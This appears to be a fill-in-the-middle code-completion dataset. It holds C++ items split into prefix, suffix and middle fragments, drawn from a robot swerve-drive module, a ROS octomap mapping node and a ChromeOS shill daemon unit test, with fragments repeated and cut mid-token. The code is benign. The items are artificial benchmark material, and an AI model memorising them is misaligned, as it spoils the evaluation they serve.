ticksPer100ms); } double SwerveModule::CalcTicksPer100Ms(meters_per_second_t speed) { return speed.to<double>() / kDriveEncoderMetersPerSec; }
#include "subsystems/SwerveModule.h" SwerveModule::SwerveModule(int driveMotorChannel, int turningMotorChannel, GetPulseWidthCallback pulseWidthCallback, CANifier::PWMChannel pwmChannel, bool driveMotorReversed, double offset, const std::string& name) : m_offset(offset) , m_name(name) , m_driveMotor(driveMotorChannel) , m_turningMotor(turningMotorChannel, CANSparkMax::MotorType::kBrushless) , m_drivePIDLoader("SM", kDriveAdjust, kDriveP, kDriveI, kDriveD, kDriveFF) , m_turnPIDLoader("SM", kTurnAdjust, kTurnP, kTurnI, kTurnD, kTurnIZ, kTurnIA) , m_pulseWidthCallback(pulseWidthCallback) , m_pwmChannel(pwmChannel) { StatorCurrentLimitConfiguration statorLimit { true, kMotorCurrentLimit, kMotorCurrentLimit, 2 }; m_driveMotor.ConfigStatorCurrentLimit(statorLimit); SupplyCurrentLimitConfiguration supplyLimit { true, kMotorCurrentLimit, kMotorCurrentLimit, 2 }; m_driveMotor.ConfigSupplyCurrentLimit(supplyLimit); m_turningMotor.SetSmartCurrentLimit(kMotorCurrentLimit); m_turnRelativeEncoder.SetPositionConversionFactor(2.0 * wpi::math::pi / kTurnMotorRevsPerWheelRev); m_driveMotor.SetInverted(driveMotorReversed ? TalonFXInvertType::CounterClockwise : TalonFXInvertType::Clockwise); m_turningMotor.SetInverted(false); m_driveMotor.ConfigSelectedFeedbackSensor(TalonFXFeedbackDevice::IntegratedSensor); m_turnPIDController.SetFeedbackDevice(m_turnRelativeEncoder); m_turningMotor.SetIdleMode(CANSparkMax::IdleMode::kBrake); m_driveMotor.SetNeutralMode(NeutralMode::Brake); m_drivePIDLoader.Load(m_driveMotor); m_turnPIDLoader.Load(m_turnPIDController); m_timer.Reset(); m_timer.Start(); } void SwerveModule::Periodic() { if (m_timer.Get() < 5) ResetRelativeToAbsolute(); double absAngle = CalcAbsoluteAngle(); SmartDashboard::PutNumber("D_SM_Rel " + m_name, m_turnRelativeEncoder.GetPosition()); SmartDashboard::PutNumber("D_SM_Abs " + m_name, absAngle); SmartDashboard::PutNumber("D_SM_AbsDiff " + m_name, m_turnRelativeEncoder.GetPosition() - absAngle); } SwerveModuleState SwerveModule::GetState() { return { CalcMetersPerSec(), Rotation2d(radian_t(CalcAbsoluteAngle()))}; } void SwerveModule::SetDesiredState(SwerveModuleState &state) { m_drivePIDLoader.LoadFromNetworkTable(m_driveMotor); m_turnPIDLoader.LoadFromNetworkTable(m_turnPIDController); double currentPosition = m_turnRelativeEncoder.GetPosition(); bool bOutputReverse = false; double minTurnRads = MinTurnRads(currentPosition, state.angle.Radians().to<double>(), bOutputReverse); double direction = 1.0; if (bOutputReverse) direction = -1.0; double newPosition = currentPosition + minTurnRads; if (state.speed != 0_mps) { #ifdef DISABLE_DRIVE m_driveMotor.Set(TalonFXControlMode::Velocity, 0.0); #else m_driveMotor.Set(TalonFXControlMode::Velocity, direction * CalcTicksPer100Ms(state.speed)); #endif } else m_driveMotor.Set(TalonFXControlMode::PercentOutput, 0.0); if (state.speed.to<double>() != 0.0) m_turnPIDController.SetReference(newPosition, ControlType::kPosition); } void SwerveModule::ResetEncoders() { m_driveMotor.SetSelectedSensorPosition(0.0); }
void SwerveModule::ResetRelativeToAbsolute() { m_turnRelativeEncoder.SetPosition(CalcAbsoluteAngle()); } double SwerveModule::MinTurnRads(double init, double final, bool& bOutputReverse) { init = Util::ZeroTo2PiRads(init); final = Util::ZeroTo2PiRads(final); double angle1 = final - init; double angle2 = final + wpi::math::pi - init; angle1 = Util::NegPiToPiRads(angle1); angle2 = Util::NegPiToPiRads(angle2); bOutputReverse = false; return angle1; } meters_per_second_t SwerveModule::CalcMetersPerSec() { double ticksPer100ms = m_driveMotor.GetSelectedSensorVelocity(); return meters_per_second_t(kDriveEncoderMetersPerSec * ticksPer100ms); } double SwerveModule::CalcTicksPer100Ms(meters_per_second_t speed) { return speed.to<double>() / kDriveEncoderMetersPerSec; }
double SwerveModule::CalcAbsoluteAngle() { double pulseWidth = m_pulseWidthCallback(m_pwmChannel); return fmod((pulseWidth - m_offset) * DriveConstants::kPulseWidthToRadians + 2.0 * wpi::math::pi, 2.0 * wpi::math::pi); }
function_block-full_function
[ { "content": "// Set this to true to include the src folder in the include directories passed\n\n// to the compiler. Some eclipse project imports depend on this behavior.\n\n// We recommend leaving this disabled if possible. Note for eclipse project\n\n// imports this is enabled by default. For new projects, it...
C++
src/cylbot_map_creator/src/octomap_creator.cpp
rhololkeolke/eecs_600_robot_project1
8a4a567f436d2d26311b53cc2dcfde61d98e45e0
#include <ros/ros.h> #include <sensor_msgs/PointCloud2.h> #include <octomap/octomap.h> #include <octomap/OcTree.h> #include <octomap_msgs/Octomap.h> #include <octomap_msgs/conversions.h> #include <octomap_ros/conversions.h> #include <tf/transform_listener.h> #include <pcl_conversions/pcl_conversions.h> #include <pcl_ros/point_cloud.h> #include <pcl_ros/transforms.h> #include <pcl/filters/conditional_removal.h> #include <pcl/filters/passthrough.h> #include <pcl/filters/extract_indices.h> #include <vector> #include <cmath> octomap::OcTree* tree; tf::TransformListener* tf_listener; bool map_changed = true; void laserPointsCallback(const sensor_msgs::PointCloud2::ConstPtr& cloud_in) { tf::StampedTransform laser_transform; if(!tf_listener->waitForTransform( "/map", "/head_hokuyo_frame", cloud_in->header.stamp, ros::Duration(1.0))) { ROS_WARN("Transform from /map to /head_hokuyo_frame failed"); return; } tf_listener->lookupTransform("/map", "/head_hokuyo_frame", cloud_in->header.stamp, laser_transform); octomap::point3d laser_origin = octomap::pointTfToOctomap(laser_transform.getOrigin()); pcl::PointCloud<pcl::PointXYZ>::Ptr pcl_raw_cloud(new pcl::PointCloud<pcl::PointXYZ>); pcl::fromROSMsg(*cloud_in, *pcl_raw_cloud); pcl::PointCloud<pcl::PointXYZ>::Ptr pcl_robot_filtered_cloud(new pcl::PointCloud<pcl::PointXYZ>); pcl::ConditionOr<pcl::PointXYZ>::Ptr range_cond (new pcl::ConditionOr<pcl::PointXYZ>()); range_cond->addComparison(pcl::FieldComparison<pcl::PointXYZ>::ConstPtr ( new pcl::FieldComparison<pcl::PointXYZ>("x", pcl::ComparisonOps::GE, 0.25))); range_cond->addComparison(pcl::FieldComparison<pcl::PointXYZ>::ConstPtr ( new pcl::FieldComparison<pcl::PointXYZ>("x", pcl::ComparisonOps::LE, -0.25))); range_cond->addComparison(pcl::FieldComparison<pcl::PointXYZ>::ConstPtr ( new pcl::FieldComparison<pcl::PointXYZ>("y", pcl::ComparisonOps::GE, 0.25))); range_cond->addComparison(pcl::FieldComparison<pcl::PointXYZ>::ConstPtr ( new pcl::FieldComparison<pcl::PointXYZ>("y", pcl::ComparisonOps::LE, -0.25))); range_cond->addComparison(pcl::FieldComparison<pcl::PointXYZ>::ConstPtr ( new pcl::FieldComparison<pcl::PointXYZ>("z", pcl::ComparisonOps::GE, 1.2))); range_cond->addComparison(pcl::FieldComparison<pcl::PointXYZ>::ConstPtr ( new pcl::FieldComparison<pcl::PointXYZ>("z", pcl::ComparisonOps::LE, -.1))); pcl::ConditionalRemoval<pcl::PointXYZ> robot_filter(range_cond); robot_filter.setInputCloud(pcl_raw_cloud); robot_filter.setKeepOrganized(true); robot_filter.filter(*pcl_robot_filtered_cloud); ROS_DEBUG("pcl_robot_filtered_cloud size: %lu", pcl_robot_filtered_cloud->points.size()); pcl::PointCloud<pcl::PointXYZ>::Ptr pcl_map_cloud(new pcl::PointCloud<pcl::PointXYZ>); if(!tf_listener->waitForTransform( "/map", "/base_link", cloud_in->header.stamp, ros::Duration(1.0))) { ROS_WARN("Transform from /map to /base_link failed"); return; } pcl_ros::transformPointCloud("/map", cloud_in->header.stamp, *pcl_robot_filtered_cloud, "/base_link", *pcl_map_cloud, *tf_listener); pcl::PointCloud<pcl::PointXYZ>::Ptr pcl_ground_filtered_cloud(new pcl::PointCloud<pcl::PointXYZ>); pcl::PassThrough<pcl::PointXYZ> ground_filter; ground_filter.setInputCloud(pcl_map_cloud); ground_filter.setFilterFieldName("z"); ground_filter.setFilterLimits(-1, .05); ground_filter.setFilterLimitsNegative(true); ground_filter.filter(*pcl_ground_filtered_cloud); ROS_DEBUG("pcl_ground_filtered_cloud size: %lu", pcl_ground_filtered_cloud->points.size()); pcl::PointIndices::Ptr max_indices(new pcl::PointIndices); int i=0; for(pcl::PointCloud<pcl::PointXYZ>::const_iterator point = pcl_ground_filtered_cloud->points.begin(); point != pcl_ground_filtered_cloud->points.end(); point++) { double x = point->x - laser_origin.x(); double y = point->y - laser_origin.y(); double z = point->z - laser_origin.z(); if(fabs(sqrt(x*x + y*y + z*z) - 30.0) < .04) max_indices->indices.push_back(i); i++; } pcl::PointCloud<pcl::PointXYZ>::Ptr pcl_max_filtered_cloud(new pcl::PointCloud<pcl::PointXYZ>); pcl::ExtractIndices<pcl::PointXYZ> max_filter; max_filter.setInputCloud(pcl_ground_filtered_cloud); max_filter.setKeepOrganized(true); max_filter.setNegative(true); max_filter.setIndices(max_indices); max_filter.filter(*pcl_max_filtered_cloud); ROS_DEBUG("pcl_max_filtered_cloud size: %lu", pcl_max_filtered_cloud->points.size()); sensor_msgs::PointCloud2 filtered_cloud; pcl::toROSMsg(*pcl_max_filtered_cloud, filtered_cloud); ROS_DEBUG("filtered_cloud size: %lu", filtered_cloud.data.size()); octomap::Pointcloud octomap_cloud; octomap::pointCloud2ToOctomap(filtered_cloud, octomap_cloud); ROS_DEBUG("octomap pointcloud size: %lu", octomap_cloud.size()); tree->insertPointCloudRays(octomap_cloud, laser_origin, -1, true); ROS_DEBUG("map_changed is now true"); map_changed = true; } int main(int argc, char** argv) { ros::init(argc, argv, "octomap_creator"); ros::NodeHandle nh; tf_listener = new tf::TransformListener(); ros::Publisher occupied_pub = nh.advertise<octomap_msgs::Octomap>("/octomap", 1, true); ros::NodeHandle priv_nh("~"); double resolution; priv_nh.param<double>("resolution", resolution, 0.1); ROS_INFO("Creating tree with resolution %3.3f", resolution); tree = new octomap::OcTree(resolution); ros::Subscriber laser_sub = nh.subscribe<sensor_msgs::PointCloud2>("/laser/points", 100, &laserPointsCallback); octomap_msgs::Octomap octomap_msg; octomap_msg.header.frame_id = "/map"; ros::Rate loop_rate(1); while(ros::ok()) { if(map_changed) { ROS_DEBUG("preparing to publish data"); ROS_DEBUG("tree size: %lu", tree->size()); tree->updateInnerOccupancy(); octomap_msg.data.clear(); octomap_msgs::fullMapToMsg(*tree, octomap_msg); if(octomap_msg.data.size() > 0) { ROS_DEBUG("Publishing octomap"); octomap_msg.header.stamp = ros::Time::now(); occupied_pub.publish(octomap_msg); } map_changed = false; } ros::spinOnce(); loop_rate.sleep(); } delete tf_listener; delete tree; }
#include <ros/ros.h> #include <sensor_msgs/PointCloud2.h> #include <octomap/octomap.h> #include <octomap/OcTree.h> #include <octomap_msgs/Octomap.h> #include <octomap_msgs/conversions.h> #include <octomap_ros/conversions.h> #include <tf/transform_listener.h> #include <pcl_conversions/pcl_conversions.h> #include <pcl_ros/point_cloud.h> #include <pcl_ros/transforms.h> #include <pcl/filters/conditional_removal.h> #include <pcl/filters/passthrough.h> #include <pcl/filters/extract_indices.h> #include <vector> #include <cmath> octomap::OcTree* tree; tf::TransformListener* tf_listener; bool map_changed = true; void laserPointsCallback(const sensor_msgs::PointCloud2::ConstPtr& cloud_in) { tf::StampedTransform laser_transform; if(!
) { ROS_WARN("Transform from /map to /head_hokuyo_frame failed"); return; } tf_listener->lookupTransform("/map", "/head_hokuyo_frame", cloud_in->header.stamp, laser_transform); octomap::point3d laser_origin = octomap::pointTfToOctomap(laser_transform.getOrigin()); pcl::PointCloud<pcl::PointXYZ>::Ptr pcl_raw_cloud(new pcl::PointCloud<pcl::PointXYZ>); pcl::fromROSMsg(*cloud_in, *pcl_raw_cloud); pcl::PointCloud<pcl::PointXYZ>::Ptr pcl_robot_filtered_cloud(new pcl::PointCloud<pcl::PointXYZ>); pcl::ConditionOr<pcl::PointXYZ>::Ptr range_cond (new pcl::ConditionOr<pcl::PointXYZ>()); range_cond->addComparison(pcl::FieldComparison<pcl::PointXYZ>::ConstPtr ( new pcl::FieldComparison<pcl::PointXYZ>("x", pcl::ComparisonOps::GE, 0.25))); range_cond->addComparison(pcl::FieldComparison<pcl::PointXYZ>::ConstPtr ( new pcl::FieldComparison<pcl::PointXYZ>("x", pcl::ComparisonOps::LE, -0.25))); range_cond->addComparison(pcl::FieldComparison<pcl::PointXYZ>::ConstPtr ( new pcl::FieldComparison<pcl::PointXYZ>("y", pcl::ComparisonOps::GE, 0.25))); range_cond->addComparison(pcl::FieldComparison<pcl::PointXYZ>::ConstPtr ( new pcl::FieldComparison<pcl::PointXYZ>("y", pcl::ComparisonOps::LE, -0.25))); range_cond->addComparison(pcl::FieldComparison<pcl::PointXYZ>::ConstPtr ( new pcl::FieldComparison<pcl::PointXYZ>("z", pcl::ComparisonOps::GE, 1.2))); range_cond->addComparison(pcl::FieldComparison<pcl::PointXYZ>::ConstPtr ( new pcl::FieldComparison<pcl::PointXYZ>("z", pcl::ComparisonOps::LE, -.1))); pcl::ConditionalRemoval<pcl::PointXYZ> robot_filter(range_cond); robot_filter.setInputCloud(pcl_raw_cloud); robot_filter.setKeepOrganized(true); robot_filter.filter(*pcl_robot_filtered_cloud); ROS_DEBUG("pcl_robot_filtered_cloud size: %lu", pcl_robot_filtered_cloud->points.size()); pcl::PointCloud<pcl::PointXYZ>::Ptr pcl_map_cloud(new pcl::PointCloud<pcl::PointXYZ>); if(!tf_listener->waitForTransform( "/map", "/base_link", cloud_in->header.stamp, ros::Duration(1.0))) { ROS_WARN("Transform from /map to /base_link failed"); return; } pcl_ros::transformPointCloud("/map", cloud_in->header.stamp, *pcl_robot_filtered_cloud, "/base_link", *pcl_map_cloud, *tf_listener); pcl::PointCloud<pcl::PointXYZ>::Ptr pcl_ground_filtered_cloud(new pcl::PointCloud<pcl::PointXYZ>); pcl::PassThrough<pcl::PointXYZ> ground_filter; ground_filter.setInputCloud(pcl_map_cloud); ground_filter.setFilterFieldName("z"); ground_filter.setFilterLimits(-1, .05); ground_filter.setFilterLimitsNegative(true); ground_filter.filter(*pcl_ground_filtered_cloud); ROS_DEBUG("pcl_ground_filtered_cloud size: %lu", pcl_ground_filtered_cloud->points.size()); pcl::PointIndices::Ptr max_indices(new pcl::PointIndices); int i=0; for(pcl::PointCloud<pcl::PointXYZ>::const_iterator point = pcl_ground_filtered_cloud->points.begin(); point != pcl_ground_filtered_cloud->points.end(); point++) { double x = point->x - laser_origin.x(); double y = point->y - laser_origin.y(); double z = point->z - laser_origin.z(); if(fabs(sqrt(x*x + y*y + z*z) - 30.0) < .04) max_indices->indices.push_back(i); i++; } pcl::PointCloud<pcl::PointXYZ>::Ptr pcl_max_filtered_cloud(new pcl::PointCloud<pcl::PointXYZ>); pcl::ExtractIndices<pcl::PointXYZ> max_filter; max_filter.setInputCloud(pcl_ground_filtered_cloud); max_filter.setKeepOrganized(true); max_filter.setNegative(true); max_filter.setIndices(max_indices); max_filter.filter(*pcl_max_filtered_cloud); ROS_DEBUG("pcl_max_filtered_cloud size: %lu", pcl_max_filtered_cloud->points.size()); sensor_msgs::PointCloud2 filtered_cloud; pcl::toROSMsg(*pcl_max_filtered_cloud, filtered_cloud); ROS_DEBUG("filtered_cloud size: %lu", filtered_cloud.data.size()); octomap::Pointcloud octomap_cloud; octomap::pointCloud2ToOctomap(filtered_cloud, octomap_cloud); ROS_DEBUG("octomap pointcloud size: %lu", octomap_cloud.size()); tree->insertPointCloudRays(octomap_cloud, laser_origin, -1, true); ROS_DEBUG("map_changed is now true"); map_changed = true; } int main(int argc, char** argv) { ros::init(argc, argv, "octomap_creator"); ros::NodeHandle nh; tf_listener = new tf::TransformListener(); ros::Publisher occupied_pub = nh.advertise<octomap_msgs::Octomap>("/octomap", 1, true); ros::NodeHandle priv_nh("~"); double resolution; priv_nh.param<double>("resolution", resolution, 0.1); ROS_INFO("Creating tree with resolution %3.3f", resolution); tree = new octomap::OcTree(resolution); ros::Subscriber laser_sub = nh.subscribe<sensor_msgs::PointCloud2>("/laser/points", 100, &laserPointsCallback); octomap_msgs::Octomap octomap_msg; octomap_msg.header.frame_id = "/map"; ros::Rate loop_rate(1); while(ros::ok()) { if(map_changed) { ROS_DEBUG("preparing to publish data"); ROS_DEBUG("tree size: %lu", tree->size()); tree->updateInnerOccupancy(); octomap_msg.data.clear(); octomap_msgs::fullMapToMsg(*tree, octomap_msg); if(octomap_msg.data.size() > 0) { ROS_DEBUG("Publishing octomap"); octomap_msg.header.stamp = ros::Time::now(); occupied_pub.publish(octomap_msg); } map_changed = false; } ros::spinOnce(); loop_rate.sleep(); } delete tf_listener; delete tree; }
tf_listener->waitForTransform( "/map", "/head_hokuyo_frame", cloud_in->header.stamp, ros::Duration(1.0))
call_expression
[ { "content": " * @brief Find speckle nodes (single occupied voxels with no neighbors). Only works on lowest resolution!\n\n * @param key\n\n * @return\n\n */\n\n bool isSpeckleNode(const octomap::OcTreeKey& key) const;\n\n\n\n /// hook that is called before traversing all nodes\n\n virtual void handlePre...
C++
shill/daemon_task_test.cc
ascii33/platform2
b78891020724e9ff26b11ca89c2a53f949e99748
#include <linux/rtnetlink.h> #include <stdint.h> #include <string> #include <vector> #include <base/bind.h> #include <base/memory/ref_counted.h> #include <base/run_loop.h> #include <gmock/gmock.h> #include <gtest/gtest.h> #include "shill/daemon_task.h" #include "shill/logging.h" #include "shill/mock_control.h" #include "shill/mock_manager.h" #include "shill/mock_metrics.h" #include "shill/mock_process_manager.h" #include "shill/mock_routing_table.h" #include "shill/net/io_handler.h" #include "shill/net/mock_rtnl_handler.h" #include "shill/net/ndisc.h" #include "shill/network/mock_dhcp_provider.h" #include "shill/shill_test_config.h" #include "shill/test_event_dispatcher.h" #if !defined(DISABLE_WIFI) #include "shill/net/mock_netlink_manager.h" #include "shill/net/nl80211_message.h" #endif using ::testing::_; using ::testing::Expectation; using ::testing::Mock; using ::testing::Return; using ::testing::Test; namespace shill { class DaemonTaskForTest : public DaemonTask { public: DaemonTaskForTest(const Settings& setttings, Config* config) : DaemonTask(Settings(), config) {} ~DaemonTaskForTest() override = default; bool quit_result() const { return quit_result_; } void RunMessageLoop() { dispatcher_->DispatchForever(); } bool Quit(const base::Closure& completion_callback) override { quit_result_ = DaemonTask::Quit(completion_callback); dispatcher_->PostTask( FROM_HERE, base::BindOnce(&EventDispatcher::QuitDispatchForever, base::Unretained(dispatcher_.get()))); return quit_result_; } private: bool quit_result_; }; class DaemonTaskTest : public Test { public: DaemonTaskTest() : daemon_(DaemonTask::Settings(), &config_), dispatcher_(new EventDispatcherForTest()), control_(new MockControl()), metrics_(new MockMetrics()), manager_(new MockManager(control_, dispatcher_, metrics_)), device_info_(manager_) {} ~DaemonTaskTest() override = default; void SetUp() override { daemon_.rtnl_handler_ = &rtnl_handler_; daemon_.routing_table_ = &routing_table_; daemon_.dhcp_provider_ = &dhcp_provider_; daemon_.process_manager_ = &process_manager_; daemon_.metrics_.reset(metrics_); daemon_.manager_.reset(manager_); daemon_.control_.reset(control_); daemon_.dispatcher_.reset(dispatcher_); #if !defined(DISABLE_WIFI) daemon_.netlink_manager_ = &netlink_manager_; #endif } void StartDaemon() { daemon_.Start(); } void StopDaemon() { daemon_.Stop(); } void RunDaemon() { daemon_.RunMessageLoop(); } void ApplySettings(const DaemonTask::Settings& settings) { daemon_.settings_ = settings; daemon_.ApplySettings(); } MOCK_METHOD(void, TerminationAction, ()); MOCK_METHOD(void, BreakTerminationLoop, ()); protected: TestConfig config_; DaemonTaskForTest daemon_; MockRTNLHandler rtnl_handler_; MockRoutingTable routing_table_; MockDHCPProvider dhcp_provider_; MockProcessManager process_manager_; EventDispatcherForTest* dispatcher_; MockControl* control_; MockMetrics* metrics_; MockManager* manager_; #if !defined(DISABLE_WIFI) MockNetlinkManager netlink_manager_; #endif DeviceInfo device_info_; }; TEST_F(DaemonTaskTest, StartStop) { EXPECT_CALL(rtnl_handler_, Start(RTMGRP_LINK | RTMGRP_IPV4_IFADDR | RTMGRP_IPV4_ROUTE | RTMGRP_IPV6_IFADDR | RTMGRP_IPV6_ROUTE | RTMGRP_ND_USEROPT)); Expectation routing_table_started = EXPECT_CALL(routing_table_, Start()); EXPECT_CALL(dhcp_provider_, Init(_, _, _)); EXPECT_CALL(process_manager_, Init(_)); #if !defined(DISABLE_WIFI) EXPECT_CALL(netlink_manager_, Init()); const uint16_t kNl80211MessageType = 42; EXPECT_CALL(netlink_manager_, GetFamily(Nl80211Message::kMessageTypeString, _)) .WillOnce(Return(kNl80211MessageType)); EXPECT_CALL(netlink_manager_, Start()); #endif EXPECT_CALL(*manager_, Start()).After(routing_table_started); StartDaemon(); Mock::VerifyAndClearExpectations(manager_); EXPECT_CALL(*manager_, Stop()); EXPECT_CALL(process_manager_, Stop()); StopDaemon(); } ACTION_P2(CompleteAction, manager, name) { manager->TerminationActionComplete(name); } TEST_F(DaemonTaskTest, QuitWithTerminationAction) { EXPECT_CALL(*this, TerminationAction()) .WillOnce(CompleteAction(manager_, "daemon test")); EXPECT_CALL(*this, BreakTerminationLoop()).Times(1); manager_->AddTerminationAction( "daemon test", base::Bind(&DaemonTaskTest::TerminationAction, base::Unretained(this))); dispatcher_->PostTask( FROM_HERE, base::Bind(IgnoreResult(&DaemonTask::Quit), base::Unretained(&daemon_), base::Bind(&DaemonTaskTest::BreakTerminationLoop, base::Unretained(this)))); RunDaemon(); EXPECT_FALSE(daemon_.quit_result()); } TEST_F(DaemonTaskTest, QuitWithoutTerminationActions) { EXPECT_CALL(*this, BreakTerminationLoop()).Times(0); EXPECT_TRUE(daemon_.Quit(base::Bind(&DaemonTaskTest::BreakTerminationLoop, base::Unretained(this)))); } TEST_F(DaemonTaskTest, ApplySettings) { DaemonTask::Settings settings; std::vector<std::string> kEmptyStringList; EXPECT_CALL(*manager_, SetBlockedDevices(kEmptyStringList)); EXPECT_CALL(*manager_, SetTechnologyOrder("", _)); EXPECT_CALL(*manager_, SetIgnoreUnknownEthernet(false)); EXPECT_CALL(*manager_, SetStartupPortalList(_)).Times(0); EXPECT_CALL(*manager_, SetPassiveMode()).Times(0); EXPECT_CALL(*manager_, SetMinimumMTU(_)).Times(0); ApplySettings(settings); Mock::VerifyAndClearExpectations(manager_); std::vector<std::string> kBlockedDevices = {"eth0", "eth1"}; settings.devices_blocked = kBlockedDevices; settings.default_technology_order = "wifi,ethernet"; settings.ignore_unknown_ethernet = false; settings.portal_list = "cellular"; settings.use_portal_list = true; settings.passive_mode = true; settings.minimum_mtu = 256; EXPECT_CALL(*manager_, SetBlockedDevices(kBlockedDevices)); EXPECT_CALL(*manager_, SetTechnologyOrder("wifi,ethernet", _)); EXPECT_CALL(*manager_, SetIgnoreUnknownEthernet(false)); EXPECT_CALL(*manager_, SetStartupPortalList("cellular")); EXPECT_CALL(*manager_, SetPassiveMode()); EXPECT_CALL(*manager_, SetMinimumMTU(256)); ApplySettings(settings); Mock::VerifyAndClearExpectations(manager_); } }
#include <linux/rtnetlink.h> #include <stdint.h> #include <string> #include <vector> #include <base/bind.h> #include <base/memory/ref_counted.h> #include <base/run_loop.h> #include <gmock/gmock.h> #include <gtest/gtest.h> #include "shill/daemon_task.h" #include "shill/logging.h" #include "shill/mock_control.h" #include "shill/mock_manager.h" #include "shill/mock_metrics.h" #include "shill/mock_process_manager.h" #include "shill/mock_routing_table.h" #include "shill/net/io_handler.h" #include "shill/net/mock_rtnl_handler.h" #include "shill/net/ndisc.h" #include "shill/network/mock_dhcp_provider.h" #include "shill/shill_test_config.h" #include "shill/test_event_dispatcher.h" #if !defined(DISABLE_WIFI) #include "shill/net/mock_netlink_manager.h" #include "shill/net/nl80211_message.h" #endif using ::testing::_; using ::testing::Expectation; using ::testing::Mock; using ::testing::Return; using ::testing::Test; namespace shill { class DaemonTaskForTest : public DaemonTask { public: DaemonTaskForTest(const Settings& setttings, Config* config) : DaemonTask(Settings(), config) {} ~DaemonTaskForTest() override = default; bool quit_result() const { return quit_result_; } void RunMessageLoop() { dispatcher_->DispatchForever(); } bool Quit(const base::Closure& completion_callback) override { quit_result_ = DaemonTask::Quit(completion_callback); dispatcher_->PostTask( FROM_HERE, base::BindOnce(&EventDispatcher::QuitDispatchForever, base::Unretained(dispatcher_.get()))); return quit_result_; } private: bool quit_result_; }; class DaemonTaskTest : public Test { public: DaemonTaskTest() : daemon_(DaemonTask::Settings(), &config_), dispatcher_(new EventDispatcherForTest()), control_(new MockControl()), metrics_(new MockMetrics()), manager_(new MockManager(control_, dispatcher_, metrics_)), device_info_(manager_) {} ~DaemonTaskTest() override = default; void SetUp() override { daemon_.rtnl_handler_ = &rtnl_handler_; daemon_.routing_table_ = &routing_table_; daemon_.dhcp_provider_ = &dhcp_provider_; daemon_.process_manager_ = &process_manager_; daemon_.metrics_.reset(metrics_); daemon_.manager_.reset(manager_); daemon_.control_.reset(control_); daemon_.dispatcher_.reset(dispatcher_); #if !defined(DISABLE_WIFI) daemon_.netlink_manager_ = &netlink_manager_; #endif } void StartDaemon() { daemon_.Start(); } void StopDaemon() { daemon_.Stop(); } void RunDaemon() { daemon_.RunMessageLoop(); } void ApplySettings(const DaemonTask::Settings& settings) { daemon_.settings_ = settings; daemon_.ApplySettings(); } MOCK_METHOD(void, TerminationAction, ()); MOCK_METHOD(void, BreakTerminationLoop, ()); protected: TestConfig config_; DaemonTaskForTest daemon_; MockRTNLHandler rtnl_handler_; MockRoutingTable routing_table_; MockDHCPProvider dhcp_provider_; MockProcessManager process_manager_; EventDispatcherForTest* dispatcher_; MockControl* control_; MockMetrics* metrics_; MockManager* manager_; #if !defined(DISABLE_WIFI) MockNetlinkManager netlink_manager_; #endif DeviceInfo device_info_; }; TEST_F(DaemonTaskTest, StartStop) { EXPECT_CALL(rtnl_handler_, Start(RTMGRP_LINK | RTMGRP_IPV4_IFADDR | RTMGRP_IPV4_ROUTE | RTMGRP_IPV6_IFADDR | RTMGRP_IPV6_ROUTE | RTMGRP_ND_USEROPT)); Expectation routing_table_started = EXPECT_CALL(routing_table_, Start()); EXPECT_CALL(dhcp_provider_, Init(_, _, _)); EXPECT_CALL(process_manager_, Init(_)); #if !defined(DISABLE_WIFI) EXPECT_CALL(netlink_manager_, Init()); const uint16_t kNl80211MessageType = 42; EXPECT_CALL(netlink_manager_, GetFamily(Nl80211Message::kMessageTypeString, _)) .WillOnce(Return(kNl80211MessageType)); EXP
true; settings.passive_mode = true; settings.minimum_mtu = 256; EXPECT_CALL(*manager_, SetBlockedDevices(kBlockedDevices)); EXPECT_CALL(*manager_, SetTechnologyOrder("wifi,ethernet", _)); EXPECT_CALL(*manager_, SetIgnoreUnknownEthernet(false)); EXPECT_CALL(*manager_, SetStartupPortalList("cellular")); EXPECT_CALL(*manager_, SetPassiveMode()); EXPECT_CALL(*manager_, SetMinimumMTU(256)); ApplySettings(settings); Mock::VerifyAndClearExpectations(manager_); } }
ECT_CALL(netlink_manager_, Start()); #endif EXPECT_CALL(*manager_, Start()).After(routing_table_started); StartDaemon(); Mock::VerifyAndClearExpectations(manager_); EXPECT_CALL(*manager_, Stop()); EXPECT_CALL(process_manager_, Stop()); StopDaemon(); } ACTION_P2(CompleteAction, manager, name) { manager->TerminationActionComplete(name); } TEST_F(DaemonTaskTest, QuitWithTerminationAction) { EXPECT_CALL(*this, TerminationAction()) .WillOnce(CompleteAction(manager_, "daemon test")); EXPECT_CALL(*this, BreakTerminationLoop()).Times(1); manager_->AddTerminationAction( "daemon test", base::Bind(&DaemonTaskTest::TerminationAction, base::Unretained(this))); dispatcher_->PostTask( FROM_HERE, base::Bind(IgnoreResult(&DaemonTask::Quit), base::Unretained(&daemon_), base::Bind(&DaemonTaskTest::BreakTerminationLoop, base::Unretained(this)))); RunDaemon(); EXPECT_FALSE(daemon_.quit_result()); } TEST_F(DaemonTaskTest, QuitWithoutTerminationActions) { EXPECT_CALL(*this, BreakTerminationLoop()).Times(0); EXPECT_TRUE(daemon_.Quit(base::Bind(&DaemonTaskTest::BreakTerminationLoop, base::Unretained(this)))); } TEST_F(DaemonTaskTest, ApplySettings) { DaemonTask::Settings settings; std::vector<std::string> kEmptyStringList; EXPECT_CALL(*manager_, SetBlockedDevices(kEmptyStringList)); EXPECT_CALL(*manager_, SetTechnologyOrder("", _)); EXPECT_CALL(*manager_, SetIgnoreUnknownEthernet(false)); EXPECT_CALL(*manager_, SetStartupPortalList(_)).Times(0); EXPECT_CALL(*manager_, SetPassiveMode()).Times(0); EXPECT_CALL(*manager_, SetMinimumMTU(_)).Times(0); ApplySettings(settings); Mock::VerifyAndClearExpectations(manager_); std::vector<std::string> kBlockedDevices = {"eth0", "eth1"}; settings.devices_blocked = kBlockedDevices; settings.default_technology_order = "wifi,ethernet"; settings.ignore_unknown_ethernet = false; settings.portal_list = "cellular"; settings.use_portal_list =
random
[]
C++
Datenbank/ExcelExport.cpp
AkioUnity/VC-bank
d2ab46cb18e0069e2640cef0a8589c4a1ca416c3
